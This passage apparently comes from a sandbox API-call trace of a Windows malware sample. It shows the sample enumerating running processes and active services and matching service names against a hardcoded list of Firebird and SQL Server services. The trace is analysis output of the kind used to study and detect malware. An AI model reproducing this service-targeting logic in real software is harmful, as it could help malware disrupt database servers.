pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.625] lstrlenW (lpString="svchost.exe") returned 11 [0264.625] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.626] lstrlenW (lpString="svchost.exe") returned 11 [0264.626] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0264.627] lstrlenW (lpString="spoolsv.exe") returned 11 [0264.627] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.628] lstrlenW (lpString="svchost.exe") returned 11 [0264.628] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0264.634] lstrlenW (lpString="audiodg.exe") returned 11 [0264.634] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0264.635] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0264.635] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0264.636] lstrlenW (lpString="Memory Compression") returned 18 [0264.636] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0264.637] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0264.637] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0264.638] lstrlenW (lpString="sihost.exe") returned 10 [0264.638] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.639] lstrlenW (lpString="svchost.exe") returned 11 [0264.639] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0264.640] lstrlenW (lpString="taskhostw.exe") returned 13 [0264.640] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0264.641] lstrlenW (lpString="msoia.exe") returned 9 [0264.641] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0264.642] lstrlenW (lpString="explorer.exe") returned 12 [0264.642] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0264.643] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0264.643] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0264.644] lstrlenW (lpString="SearchUI.exe") returned 12 [0264.644] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0264.645] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0264.645] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0264.647] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0264.647] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0264.650] lstrlenW (lpString="load0.exe") returned 9 [0264.650] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x272c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c4, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0264.651] lstrlenW (lpString="consent.exe") returned 11 [0264.652] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x27cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0264.653] lstrlenW (lpString="dllhost.exe") returned 11 [0264.653] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x27cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0264.654] CloseHandle (hObject=0x1284) returned 1 [0264.654] Sleep (dwMilliseconds=0x1f4) [0265.469] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f64708 [0265.469] EnumServicesStatusExW (in: hSCManager=0x3f64708, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0265.469] GetLastError () returned 0xea [0265.469] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c30) returned 0x4078460 [0265.470] EnumServicesStatusExW (in: hSCManager=0x3f64708, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4078460, cbBufSize=0x1c30, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4078460, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0265.470] CloseServiceHandle (hSCObject=0x3f64708) returned 1 [0265.471] lstrlenW (lpString="Appinfo") returned 7 [0265.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0265.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0265.471] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0265.471] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0265.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0265.471] lstrlenW (lpString="AppXSvc") returned 7 [0265.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0265.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0265.471] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0265.471] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0265.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0265.471] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0265.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0265.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0265.471] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0265.471] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0265.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0265.471] lstrlenW (lpString="Audiosrv") returned 8 [0265.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0265.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0265.471] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0265.471] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0265.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0265.471] lstrlenW (lpString="BFE") returned 3 [0265.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0265.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0265.472] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0265.472] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0265.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0265.472] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0265.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0265.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0265.472] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0265.472] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0265.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0265.472] lstrlenW (lpString="CDPSvc") returned 6 [0265.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0265.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0265.472] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0265.472] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0265.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0265.472] lstrlenW (lpString="ClickToRunSvc") returned 13 [0265.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0265.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0265.472] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0265.472] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0265.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0265.472] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0265.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0265.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0265.472] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0265.472] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0265.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0265.472] lstrlenW (lpString="CryptSvc") returned 8 [0265.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0265.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0265.472] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0265.472] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0265.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0265.473] lstrlenW (lpString="DcomLaunch") returned 10 [0265.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0265.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0265.473] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0265.473] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0265.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0265.473] lstrlenW (lpString="DeviceAssociationService") returned 24 [0265.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0265.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0265.473] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0265.473] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0265.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0265.473] lstrlenW (lpString="Dhcp") returned 4 [0265.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0265.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0265.473] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0265.473] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0265.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0265.473] lstrlenW (lpString="Dnscache") returned 8 [0265.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0265.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0265.474] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0265.474] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0265.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0265.474] lstrlenW (lpString="DPS") returned 3 [0265.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0265.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0265.474] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0265.474] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0265.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0265.474] lstrlenW (lpString="DusmSvc") returned 7 [0265.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0265.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0265.474] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0265.474] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0265.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0265.474] lstrlenW (lpString="EventLog") returned 8 [0265.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0265.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0265.474] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0265.474] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0265.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0265.474] lstrlenW (lpString="EventSystem") returned 11 [0265.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0265.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0265.474] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0265.474] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0265.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0265.474] lstrlenW (lpString="FontCache") returned 9 [0265.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0265.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0265.474] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0265.475] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0265.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0265.475] lstrlenW (lpString="gpsvc") returned 5 [0265.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0265.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0265.475] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0265.475] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0265.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0265.475] lstrlenW (lpString="iphlpsvc") returned 8 [0265.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0265.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0265.475] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0265.475] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0265.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0265.475] lstrlenW (lpString="KeyIso") returned 6 [0265.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0265.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0265.475] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0265.475] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0265.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0265.475] lstrlenW (lpString="LanmanServer") returned 12 [0265.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0265.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0265.475] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0265.475] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0265.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0265.475] lstrlenW (lpString="LanmanWorkstation") returned 17 [0265.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0265.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0265.475] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0265.475] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0265.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0265.476] lstrlenW (lpString="lfsvc") returned 5 [0265.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0265.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0265.476] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0265.476] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0265.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0265.476] lstrlenW (lpString="lmhosts") returned 7 [0265.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0265.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0265.476] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0265.476] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0265.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0265.476] lstrlenW (lpString="LSM") returned 3 [0265.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0265.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0265.476] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0265.476] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0265.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0265.476] lstrlenW (lpString="MpsSvc") returned 6 [0265.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0265.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0265.476] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0265.476] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0265.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0265.476] lstrlenW (lpString="NcbService") returned 10 [0265.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0265.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0265.476] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0265.476] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0265.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0265.476] lstrlenW (lpString="netprofm") returned 8 [0265.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0265.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0265.477] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0265.477] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0265.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0265.477] lstrlenW (lpString="NgcSvc") returned 6 [0265.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0265.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0265.477] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0265.477] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0265.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0265.477] lstrlenW (lpString="NlaSvc") returned 6 [0265.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0265.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0265.477] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0265.477] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0265.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0265.477] lstrlenW (lpString="nsi") returned 3 [0265.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0265.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0265.477] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0265.477] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0265.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0265.477] lstrlenW (lpString="PcaSvc") returned 6 [0265.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0265.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0265.477] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0265.477] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0265.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0265.477] lstrlenW (lpString="PlugPlay") returned 8 [0265.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0265.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0265.478] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0265.478] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0265.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0265.478] lstrlenW (lpString="Power") returned 5 [0265.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0265.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0265.478] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0265.478] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0265.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0265.478] lstrlenW (lpString="ProfSvc") returned 7 [0265.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0265.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0265.478] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0265.478] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0265.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0265.478] lstrlenW (lpString="RpcEptMapper") returned 12 [0265.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 